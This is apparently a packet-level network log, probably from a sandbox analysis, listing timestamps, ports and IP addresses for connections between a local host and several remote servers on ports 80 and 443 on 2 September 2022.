Sep 2, 2022 14:02:22.842468977 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842503071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842505932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842520952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842545033 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842550993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842569113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842603922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842636108 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842667103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842705011 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842705011 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842737913 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842749119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842786074 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842787027 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842825890 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842827082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842844963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842860937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842864037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842886925 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842911959 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842912912 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.842941999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842959881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842978001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842995882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.842995882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843025923 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843033075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843056917 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843071938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843081951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843113899 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843117952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843132019 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843148947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843151093 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843166113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843170881 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843183041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843192101 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843210936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843235970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843238115 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843269110 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843276978 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843286991 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843305111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843333006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843359947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843379021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843395948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843405962 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843424082 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843432903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843450069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843473911 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843476057 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843492031 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843508959 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843511105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843530893 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843554020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843560934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843579054 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843595982 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843600035 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843617916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843625069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843638897 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843666077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843683958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843693018 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843714952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843724966 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843734026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843750954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843759060 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843770027 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843786955 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843797922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843805075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843822956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843839884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843846083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843858004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843868971 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843875885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843892097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843899012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843909979 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843926907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843935013 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843945026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843974113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.843976974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.843995094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844002008 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844012022 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844017982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844028950 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844038963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844047070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844063997 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844075918 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844094992 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844108105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844110966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844127893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844146013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844146967 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844162941 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844180107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844180107 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844196081 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844202042 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844224930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844240904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844244957 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844261885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844275951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844278097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844295025 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844300032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844309092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.844335079 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.844368935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.849282980 CEST	80	49797	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.851234913 CEST	80	49799	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.851361990 CEST	49797	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.851397038 CEST	49799	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.868690968 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.868788958 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.868853092 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.868854046 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.868875027 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.868887901 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.868926048 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.868930101 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869081974 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869220018 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869270086 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869343996 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869350910 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869369030 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869379044 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869385004 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869438887 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869442940 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869446993 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869477987 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869508982 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869513988 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869518042 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869529963 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869584084 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869585037 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869585991 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869600058 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869656086 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869728088 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869736910 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869746923 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869751930 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869776964 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869782925 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869839907 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869844913 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869879961 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869934082 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869981050 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.869988918 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.869997025 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870388985 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870436907 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870444059 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870450020 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870534897 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870583057 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870589018 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870595932 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870609999 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870656013 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870661974 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870668888 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870675087 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870733023 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870735884 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870738983 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870754004 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870805025 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870805025 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870809078 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870820999 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870887041 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870891094 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.870903969 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870950937 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.870996952 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.871001959 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.871010065 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.871402979 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.871484041 CEST	49799	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.871995926 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872060061 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872095108 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872174025 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.872183084 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872194052 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.872256041 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.872546911 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872580051 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872673035 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.872674942 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.872680902 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872699022 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872721910 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872761965 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.872769117 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.872780085 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.872967958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.872983932 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.873497009 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.873534918 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.873646975 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.873661995 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.873672962 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.873792887 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.873826981 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.873828888 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.873972893 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.874032974 CEST	443	49800	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.874102116 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.874393940 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.874411106 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.874660969 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.874696970 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.874793053 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.874803066 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.874810934 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.874903917 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.874936104 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.874967098 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.874977112 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.874985933 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.875039101 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.875042915 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.875844002 CEST	49800	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.875873089 CEST	443	49800	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.886543036 CEST	443	49798	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.886660099 CEST	49798	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.900624037 CEST	49798	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.900677919 CEST	443	49798	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.901160955 CEST	443	49798	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.901966095 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.902004004 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.902159929 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.902159929 CEST	49798	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.902179956 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.902203083 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.902503967 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.902515888 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.902538061 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.902566910 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.902610064 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.902616024 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903007030 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.903110981 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903146982 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903390884 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.903402090 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903466940 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.903609991 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903640985 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903778076 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.903784037 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903800011 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903825045 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903922081 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.903928041 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.903935909 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.903939962 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.904222965 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.904247046 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.904352903 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.904360056 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.904366970 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.904659033 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.904680014 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.904793978 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.904803038 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.904810905 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.905483961 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.905522108 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.905631065 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.905638933 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.905646086 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.905956984 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.905977011 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.906090975 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.906097889 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.906105995 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.906764030 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.906769991 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.906784058 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.906829119 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.906929016 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.906938076 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.906948090 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.907368898 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.908031940 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.908056021 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.908174992 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.908189058 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.908200026 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.908273935 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.908395052 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.908420086 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.908479929 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.908489943 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.908562899 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.908880949 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.908901930 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.908931017 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.908936024 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.909012079 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.909017086 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.909487009 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.909509897 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.909578085 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.909584045 CEST	443	49795	172.67.147.230	192.168.2.6
